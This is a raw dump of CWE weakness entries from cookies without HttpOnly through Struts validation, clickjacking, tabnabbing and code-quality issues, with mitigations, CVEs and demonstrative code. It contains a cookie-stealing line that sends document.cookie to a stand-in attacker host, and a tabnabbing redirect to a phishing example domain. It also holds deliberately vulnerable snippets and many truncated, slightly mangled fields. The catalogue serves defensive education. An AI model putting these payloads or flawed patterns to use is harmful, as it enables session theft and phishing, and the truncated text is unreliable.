deardaniel/secdata-raw huggingface dataset:
CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag

Description:
The product uses a cookie to store sensitive information, but the cookie is not marked with the HttpOnly flag.

Affected languages: Not Language-Specific
Affected technologies: Web Based, Web Server
Parent weaknesses: CWE-732

Consequences:
  - Confidentiality: Read Application Data
  - Integrity: Gain Privileges or Assume Identity

Detection methods:
  - Automated Static Analysis: Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without havin

Mitigations:
  - [Implementation] Leverage the HttpOnly flag when setting a sensitive cookie in a response.

Demonstrative examples:
In this example, a cookie is used to store a session ID for a client's interaction with a website. The intention is that the cookie will be sent to the website with each request made by the client.
The snippet of code below establishes a new cookie to hold the sessionID.
String sessionID = generateSessionId(); Cookie c = new Cookie("session_id", sessionID); response.addCookie(c);
document.write('<img src="http://attacker.example.com/collect-cookies?cookie=' + document.cookie . '">'

Real-world examples:
  - CVE-2024-47833: python library for ML and data science does not use the HTTPOnly security attribute for session cookies
  - CVE-2022-24045: Web application for a room automation system has client-side Javascript that sets a sensitive cookie without the HTTPOnly security attribute, allowing the cookie to be accessed.
  - CVE-2014-3852: CMS written in Python does not include the HTTPOnly flag in a Set-Cookie header, allowing remote attackers to obtain potentially sensitive information via script access to this cookie.
  - CVE-2015-4138: Appliance for managing encrypted communications does not use HttpOnly flag.
CWE-102: Struts: Duplicate Validation Forms

Description:
The product uses multiple validation forms with the same name, which might cause the Struts Validator to validate a form that the programmer does not expect.

Extended Description:
If two validation forms have the same name, the Struts Validator arbitrarily chooses one of the forms to use for input validation and discards the other. This decision might not correspond to the programmer's expectations, possibly leading to resultant weaknesses. Moreover, it indicates that the validation logic is not up-to-date, and can indicate that other, more subtle validation errors are present.

Affected languages: Java
Parent weaknesses: CWE-694, CWE-1173, CWE-20

Consequences:
  - Integrity: Unexpected State

Mitigations:
  - [Implementation] The DTD or schema validation will not catch the duplicate occurrence of the same form name. To find the issue in the implementation, manual checks or automated static analysis could be applied to the xml configuration files.

Demonstrative examples:
These two Struts validation forms have the same name.
It is not certain which form will be used by Struts. It is critically important that validation logic be maintained and kept in sync with the rest of the product.
<form-validation>
				    
					 <formset>
					  
					   <form name="ProjectForm"> ... </form> 
					   <form name="ProjectForm"> ... </form>
					  
					 </formset>
				    
				   </form-validation>
CWE-1021: Improper Restriction of Rendered UI Layers or Frames

Description:
The web application does not restrict or incorrectly restricts frame objects or UI layers that belong to another application or domain.

Affected languages: Not Language-Specific
Affected technologies: Not Technology-Specific, Web Based
Parent weaknesses: CWE-441, CWE-610, CWE-451

Consequences:
  - Access Control: Gain Privileges or Assume Identity

Detection methods:
  - Automated Static Analysis: Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without havin

Mitigations:
  - [Implementation] The use of X-Frame-Options allows developers of web content to restrict the usage of their application within the form of overlays, frames, or iFrames. The developer can indicate from which domains can frame the content. 
                   The concept of X-Frame-Options is well documented, but impl
  - [Implementation] A developer can use a "frame-breaker" script in each page that should not be framed. This is very helpful for legacy browsers that do not support X-Frame-Options security feature previously mentioned. 
                   It is also important to note that this tactic has been circumvented or bypassed
  - [Implementation] This defense-in-depth technique can be used to prevent the improper usage of frames in web applications. It prioritizes the valid sources of data to be loaded into the application through the usage of declarative policies. Based on which implementation of Content Security Policy is in use, the devel
  - [Implementation] In addition to frames or iframes as previously mentioned, the web application is expected to place restrictions on whether it is allowed to be rendered within objects, embed, or applet elements.

Real-world examples:
  - CVE-2017-7440: E-mail preview feature in a desktop application allows clickjacking attacks via a crafted e-mail message
  - CVE-2017-5697: Hardware/firmware product has insufficient clickjacking protection in its web user interface
  - CVE-2017-4015: Clickjacking in data-loss prevention product via HTTP response header.
  - CVE-2016-2496: Tapjacking in permission dialog for mobile OS allows access of private storage using a partially-overlapping window.
  - CVE-2015-1241: Tapjacking in web browser related to page navigation and touch/gesture events.
CWE-1022: Use of Web Link to Untrusted Target with window.opener Access

Description:
The web application produces links to untrusted external sites outside of its sphere of control, but it does not properly prevent the external site from modifying security-critical properties of the window.opener object, such as the location property.

Extended Description:
When a user clicks a link to an external site ("target"), the target="_blank" attribute causes the target site's contents to be opened in a new window or tab, which runs in the same process as the original page. The window.opener object records information about the original page that offered the link.  If an attacker can run script on the target page, then they could read or modify certain properties of the window.opener object, including the location property - even if the original and target site are not the same origin.  An attacker can modify the location property to automatically redirect the user to a malicious site, e.g. as part of a phishing attack. Since this redirect happens in the original window/tab - which is not necessarily visible, since the browser is focusing the display on the new target page - the user might not notice any suspicious redirection.

Affected languages: Not Language-Specific, JavaScript
Affected technologies: Web Based, Web Server
Parent weaknesses: CWE-266

Consequences:
  - Confidentiality: Alter Execution Logic

Detection methods:
  - Automated Static Analysis: Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without havin

Mitigations:
  - [Architecture and Design] Specify in the design that any linked external document must not be granted access to the location object of the calling page.
  - [Implementation] When creating a link to an external document using the <a> tag with a defined target, for example "_blank" or a named frame, provide the rel attribute with a value "noopener noreferrer". 
                   If opening the external document in a new window via javascript, then reset the opener by set
  - [Implementation] Do not use "_blank" targets. However, this can affect the usability of the application.

Demonstrative examples:
In this example, the application opens a link in a named window/tab without taking precautions to prevent the called page from tampering with the calling page's location in the browser.
There are two ways that this weakness is commonly seen. The first is when the application generates an <a> tag is with target="_blank" to point to a target site:
<a href="http://attacker-site.example.com/useful-page.html" target="_blank">
window.opener.location = 'http://phishing.example.org/popular-bank-page';

Real-world examples:
  - CVE-2022-4927: Library software does not use rel: "noopener noreferrer" setting, allowing tabnabbing attacks to redirect to a malicious page
CWE-1023: Incomplete Comparison with Missing Factors

Description:
The product performs a comparison between entities that must consider multiple factors or characteristics of each entity, but the comparison does not include one or more of these factors.

Affected languages: Not Language-Specific
Affected technologies: Not Technology-Specific
Parent weaknesses: CWE-697

Consequences:
  - Integrity: Alter Execution Logic

Detection methods:
  - Manual Static Analysis: Thoroughly test the comparison scheme before deploying code into production. Perform positive testing as well as negative testing.

Demonstrative examples:
Consider an application in which Truck objects are defined to be the same if they have the same make, the same model, and were manufactured in the same year.
Here, the equals() method only checks the make and model of the Truck objects, but the year of manufacture is not included.
public class Truck { 
                         private String make; private String model; private int year; 
                            public boolean equals(Object o) { 
                               if (o == null) return false; if (o == this) return true; if (!(o instanceof Truck)) return false; 
                                  Truck t = (Truck) o; 
                                  return (this.make.equals(t.getMake()) && this.model.equals(t.getModel())); 
                            } 
                   

This example defines a fixed username and password. The AuthenticateUser() function is intended to accept a username and a password from an untrusted user, and check to ensure that it matches the username and password. If the username and password match, AuthenticateUser() is intended to indicate that authentication succeeded.
In AuthenticateUser(), the strncmp() call uses the string length of an attacker-provided inPass parameter in order to determine how many characters to check in the password. So, if the attacker only provides a password of length 1, the check will only examine the first byte of the application's password before determining success.
/* Ignore CWE-259 (hard-coded password) and CWE-309 (use of password system for authentication) for this example. */ 
                    

Real-world examples:
  - CVE-2005-2782: PHP remote file inclusion in web application that filters "http" and "https" URLs, but not "ftp".
  - CVE-2014-6394: Product does not prevent access to restricted directories due to partial string comparison with a public directory
CWE-1024: Comparison of Incompatible Types

Description:
The product performs a comparison between two entities, but the entities are of different, incompatible types that cannot be guaranteed to provide correct results when they are directly compared.

Affected languages: JavaScript, PHP, Not Language-Specific
Parent weaknesses: CWE-697

Consequences:
  - Other: Varies by Context

Detection methods:
  - Automated Static Analysis: Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without havin
  - Manual Static Analysis: Thoroughly test the comparison scheme before deploying code into production. Perform positive testing as well as negative testing.
CWE-1025: Comparison Using Wrong Factors

Description:
The code performs a comparison between two entities, but the comparison examines the wrong factors or characteristics of the entities, which can lead to incorrect results and resultant weaknesses.

Affected languages: Not Language-Specific
Parent weaknesses: CWE-697

Consequences:
  - Other: Varies by Context

Detection methods:
  - Manual Static Analysis: Thoroughly test the comparison scheme before deploying code into production. Perform positive testing as well as negative testing.

Demonstrative examples:
In the example below, two Java String objects are declared and initialized with the same string values. An if statement is used to determine if the strings are equivalent.
However, the if statement will not be executed as the strings are compared using the "==" operator. For Java objects, such as String objects, the "==" operator compares object references, not object values. While the two String objects above contain the same string values, they refer to different object references, so the System.out.println statement will not be executed. To compare object values, the previous code could be modified to use the equals method:
String str1 = new String("Hello"); String str2 = new String("Hello"); if (str1 == str2) { System.out.println("str1 == str2"); }
if (str1.equals(str2)) { System.out.p
CWE-103: Struts: Incomplete validate() Method Definition

Description:
The product has a validator form that either does not define a validate() method, or defines a validate() method but does not call super.validate().

Affected languages: Java
Parent weaknesses: CWE-573, CWE-20

Consequences:
  - Other: Unexpected State
  - Confidentiality: Other

Detection methods:
  - Automated Static Analysis: Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without havin

Mitigations:
  - [Implementation] Implement the validate() method and call super.validate() within that method.

Demonstrative examples:
In the following Java example the class RegistrationForm is a Struts framework ActionForm Bean that will maintain user input data from a registration webpage for an online business site. The user will enter registration data and the RegistrationForm bean in the Struts framework will maintain the user data. Tthe RegistrationForm class implements the validate method to validate the user input entered into the form.
Although the validate method is implemented in this example the method does not call the validate method of the ValidatorForm parent class with a call super.validate(). Without the call to the parent validator class only the custom validation will be performed and the default validation will not be performed. The following example shows that the validate method of the ValidatorFor
CWE-1037: Processor Optimization Removal or Modification of Security-critical Code

Description:
The developer builds a security-critical protection mechanism into the software, but the processor optimizes the execution of the program such that the mechanism is removed or modified.

Affected languages: Not Language-Specific
Affected technologies: Processor Hardware
Parent weaknesses: CWE-1038

Consequences:
  - Integrity: Bypass Protection Mechanism

Detection methods:
  - White Box: In theory this weakness can be detected through the use of white box testing techniques where specifically crafted test cases are used in conjunction with debuggers to verify the order of statements b

Real-world examples:
  - CVE-2017-5715: Intel, ARM, and AMD processor optimizations related to speculative execution and branch prediction cause access control checks to be bypassed when placing data into the cache. Often known as "Spectre"
  - CVE-2017-5753: Intel, ARM, and AMD processor optimizations related to speculative execution and branch prediction cause access control checks to be bypassed when placing data into the cache. Often known as "Spectre"
  - CVE-2017-5754: Intel processor optimizations related to speculative execution cause access control checks to be bypassed when placing data into the cache. Often known as "Meltdown".
CWE-1038: Insecure Automated Optimizations

Description:
The product uses a mechanism that automatically optimizes code, e.g. to improve a characteristic such as performance, but the optimizations can have an unintended side effect that might violate an intended security assumption.

Affected languages: Not Language-Specific
Parent weaknesses: CWE-435, CWE-758

Consequences:
  - Integrity: Alter Execution Logic

Demonstrative examples:
The following code reads a password from the
              user, uses the password to connect to a back-end
              mainframe, and then attempts to scrub the password from
              memory using memset().
The code in the example will behave
               correctly if it is executed verbatim, but if the code
               is compiled using an optimizing compiler, then the call to
               memset() might be removed as a dead store, because the
               buffer pwd is not used after its value is overwritten.
               Because the buffer pwd contains a sensitive
               value, the application may be vulnerable to attack if
               the data are left memory resident. If attackers are
               able to access the correct region of memory, they may
  

Real-world examples:
  - CVE-2017-5715: Intel, ARM, and AMD processor optimizations related to speculative execution and branch prediction cause access control checks to be bypassed when placing data into the cache. Often known as "Spectre"
  - CVE-2008-1685: C compiler optimization, as allowed by specifications, removes code that is used to perform checks to detect integer overflows.
CWE-104: Struts: Form Bean Does Not Extend Validation Class

Description:
If a form bean does not extend an ActionForm subclass of the Validator framework, it can expose the application to other weaknesses related to insufficient input validation.

Affected languages: Java
Parent weaknesses: CWE-573, CWE-20

Consequences:
  - Other: Other
  - Confidentiality: Other

Detection methods:
  - Automated Static Analysis: Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without havin

Mitigations:
  - [Implementation] Ensure that all forms extend one of the Validation Classes.

Demonstrative examples:
In the following Java example the class RegistrationForm is a Struts framework ActionForm Bean that will maintain user information from a registration webpage for an online business site. The user will enter registration data and through the Struts framework the RegistrationForm bean will maintain the user data.
However, the RegistrationForm class extends the Struts ActionForm class which does not allow the RegistrationForm class to use the Struts validator capabilities. When using the Struts framework to maintain user data in an ActionForm Bean, the class should always extend one of the validator classes, ValidatorForm, ValidatorActionForm, DynaValidatorForm or DynaValidatorActionForm. These validator classes provide default validation and the validate method for custom validation for the
CWE-1041: Use of Redundant Code

Description:
The product has multiple functions, methods, procedures, macros, etc. that
					contain the same code.

Affected languages: Not Language-Specific
Parent weaknesses: CWE-710

Consequences:
  - Other: Reduce Maintainability

Detection methods:
  - Automated Static Analysis: Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without havin

Mitigations:
  - [Implementation] Merge common functionality into a single function and then call that function from across the entire code base.

Demonstrative examples:
In the following Java example the code performs some complex math when specific test conditions are met. The math is the same in each case and the equations are repeated within the code. Unfortunately if a future change needs to be made then that change needs to be made in all locations. This opens the door to mistakes being made and the changes not being made in the same way in each instance.
It is recommended to place the complex math into its own function and then call that function whenever necessary.
public class Main { 
                      public static void main(String[] args) {
                         double s = 10.0;
                         double r = 1.0;
                         double pi = 3.14159;
                         double surface_area; 
                         if(r
CWE-1042: Static Member Data Element outside of a Singleton Class Element

Description:
The code contains a member element that is declared as static (but not final), in which
					its parent class element 
					is not a singleton class - that is, a class element that can be used only once in
					the 'to' association of a Create action.

Affected languages: Not Language-Specific
Parent weaknesses: CWE-1176

Consequences:
  - Other: Reduce Performance
CWE-1043: Data Element Aggregating an Excessively Large Number of Non-Primitive Elements

Description:
The product uses a data element that has an excessively large
					number of sub-elements with non-primitive data types such as structures or aggregated objects.

Extended Description:
While the interpretation of "excessively large" may vary for each product or developer, CISQ recommends a default of 5 sub-elements.

Affected languages: Not Language-Specific
Parent weaknesses: CWE-1093

Consequences:
  - Other: Reduce Performance
CWE-1044: Architecture with Number of Horizontal Layers Outside of Expected Range

Description:
The product's architecture contains too many - or too few -
					horizontal layers.

Extended Description:
While the interpretation of "expected range" may vary for each product or developer, CISQ recommends a default minimum of 4 layers and maximum of 8 layers.

Affected languages: Not Language-Specific
Parent weaknesses: CWE-710

Consequences:
  - Other: Reduce Maintainability
CWE-1045: Parent Class with a Virtual Destructor and a Child Class without a Virtual Destructor

Description:
A parent class has a virtual destructor method, but the parent has a child class that does not have a virtual destructor.

Affected languages: Not Language-Specific
Parent weaknesses: CWE-1076

Consequences:
  - Other: Reduce Reliability
CWE-1046: Creation of Immutable Text Using String Concatenation

Description:
The product creates an immutable text string using string concatenation operations.

Extended Description:
When building a string via a looping feature (e.g., a FOR or WHILE loop), the use of += to append to the existing string will result in the creation of a new object with each iteration, which can be inefficient in comparison with use of text buffer data elements.

Affected languages: Not Language-Specific
Parent weaknesses: CWE-1176

Consequences:
  - Other: Reduce Performance
CWE-1047: Modules with Circular Dependencies

Description:
The product contains modules in which one module has references that cycle back to itself, i.e., there are circular dependencies.

Extended Description:
As an example, with Java, this weakness might indicate cycles between packages.

Affected languages: Not Language-Specific
Parent weaknesses: CWE-1120

Consequences:
  - Other: Reduce Maintainability
CWE-1048: Invokable Control Element with Large Number of Outward Calls

Description:
The code contains callable control elements that
         contain an excessively large number of references to other
         application objects external to the context of the callable,
         i.e. a Fan-Out value that is excessively large.

Extended Description:
While the interpretation of "excessively large Fan-Out value" may vary for each product or developer, CISQ recommends a default of 5 referenced objects.

Affected languages: Not Language-Specific
Parent weaknesses: CWE-710

Consequences:
  - Other: Reduce Maintainability